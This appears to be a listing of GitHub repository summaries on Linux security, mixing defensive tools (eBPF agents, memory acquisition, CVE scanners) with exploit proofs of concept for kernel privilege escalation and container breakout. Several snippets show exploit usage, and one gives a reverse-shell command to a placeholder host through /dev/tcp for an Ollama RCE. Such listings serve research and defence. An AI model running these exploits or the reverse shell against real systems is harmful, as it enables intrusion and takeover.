owLSM

🛡️ owLSM aspires to become the gold standard for prevention and detection for Linux 🛡️ owLSM is an eBPF LSM agent that implements a stateful Sigma rules engine focused on prevention. What is the project: owLSM focuses on three main things: 1 Prevention capabilities using a Sigma Rules Engine...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE_2022_0847

CVE20220847 CVE-2022-0847: Linux Kernel Privilege Escalation Vulnerability POC A Simple Proof of concept to get root shell. $ gcc cve20220847.c -o exploit $ ./exploit /etc/passwd 1 ootz: $ su rootz id uid=0root gid=0root groups=0root...

CVE-2021-3493

CVE-2021-3493 Ubuntu OverlayFS Local Privesc Affected Versions Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 19.04 Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM Usage gcc exploit.c -o exploit ./exploit Description "Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did no...

pentoo-overlay

Pentoo Penetration Testing Overlay Gentoo overlay for security tools as well as the heart of the Pentoo Livecd Pentoo is a Live CD and Live USB designed for penetration testing and security assessment. Based on Gentoo Linux, Pentoo is provided both as 32 and 64 bit installable livecd. Pentoo is...

CVE-2017-16995

CVE-2017-16995 CVE ID: CVE-2017-16995 Publish date: 2017-12-27T17:08:17.670 Base score CVSS 3.0/3.1: 7.8 Description: The checkaluop function in kernel/bpf/verifier.c in the Linux kernel through 4.4 allows local users to cause a denial of service memory corruption or possibly have unspecified oth...

CVE-2022-0847-DirtyPipe-Container-Breakout

DirtyPipe Container Breakout PoC This repo contains a PoC for the dirtypipe kernel vulnerability, for breaking out of a container. Further explanation can be found in this blog post...

CVE-2016-6187_LPE

CVE-2016-6187 - Linux Kernel Exploit Kernel Exploit for CVE-2016-6187 Local Privilege Escalation affected versions: 4.6.5 Exploit was developed against a custom compiled 4.6 kernel + buildroot kconfig coming soon and defeats KASLR, SMEP, SMAP KPTI not available for 4.6 Presentation slides...

retdec

Warning The RetDec project is currently in a limited maintenance mode due to a lack of resources: Pull Requests are welcomed. They are reviewed with priority, if possible without delays. Issues are reacted on with delays up to one quarter. Issues are not actively solved unless they relate to a...

avml

AVML Acquire Volatile Memory for Linux Summary A portable volatile memory acquisition tool for Linux. AVML is an X8664 userland volatile memory acquisition tool written in Rust, intended to be deployed as a static binary. AVML can be used to acquire memory without knowing the target OS distributi...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

CVE-2023-32233

CVE-2023-32233 5.x Kernel Adaptation Existing Exploits 1. https://github.com/Liuk3r/CVE-2023-32233/tree/main 2. https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-32233mitigation Reason Since the lower version listdelrcu. Method This exploit has been tested on...

Detection-and-Mitigation-for-CVE-2022-1679

Detection-and-Mitigation-for-CVE-2022-1679 The ath9k is a Linux kernel driver supporting Atheros chips. A use-after-free flaw was found in the Linux kernel’s Atheros wireless adapter driver in the way a user forces the ath9khtcwaitfortarget function to fail with some input messages. This flaw...

CVE_2026_31694

CVE-2026-31694 Passive Scanner A passive Linux host assessment tool for CVE-2026-31694 , a FUSE readdir-cache out-of-bounds write in the Linux kernel. The scanner evaluates the running kernel, FUSE exposure, local package metadata, kernel source evidence, execution environment, and operating-syst...

CyberMeowfia

Website: nebusec.ai · Twitter @nebusecurity · Bug list 885+ IonStack followup, follow https://github.com/NebuSec/CyberMeowfia/issues/44 Latest research IonStack part II : GhostLock, a stack-UAF that has existed in ALL Linux distributions for 15 years Linux Kernel 📖 Writeup · 🐦 Twitter Longinus : ...

CVE-2024-32002-linux-submod

This repository does not have a README...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Need to run under Linux, the environment needs to have gcc Install golang, execute the following command to rebound the shell go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1"...

thc-tips-tricks-hacks-cheat-sheet

THC's favourite Tips, Tricks & Hacks Cheat Sheet https://thc.org/tips A collection of our favourite tricks. Many of those tricks are not from us. We merely collect them. We show the tricks 'as is' without any explanation why they work. You need to know Linux to understand how and why they work. G...

bx2-writeups

Security Writeups A collection of my cybersecurity writeups covering: TryHackMe Hack The Box Linux Privilege Escalation AI & Infrastructure Security CTFs Security Challenges Author: Nanashi Bx2...

ARTAXERXES

ARTAXERXES 🚀 Advanced Multi-Technology Stress Testing Framework Educational Cybersecurity Tool for High-Performance Network Testing 📋 Table of Contents 🎯 Overview ⚡ Performance Comparison 🛠️ Technology Stack 📊 Architecture 🚀 Quick Start ⚙️ Installation 💡 Usage Examples 🔧 Advanced Configuration 📈...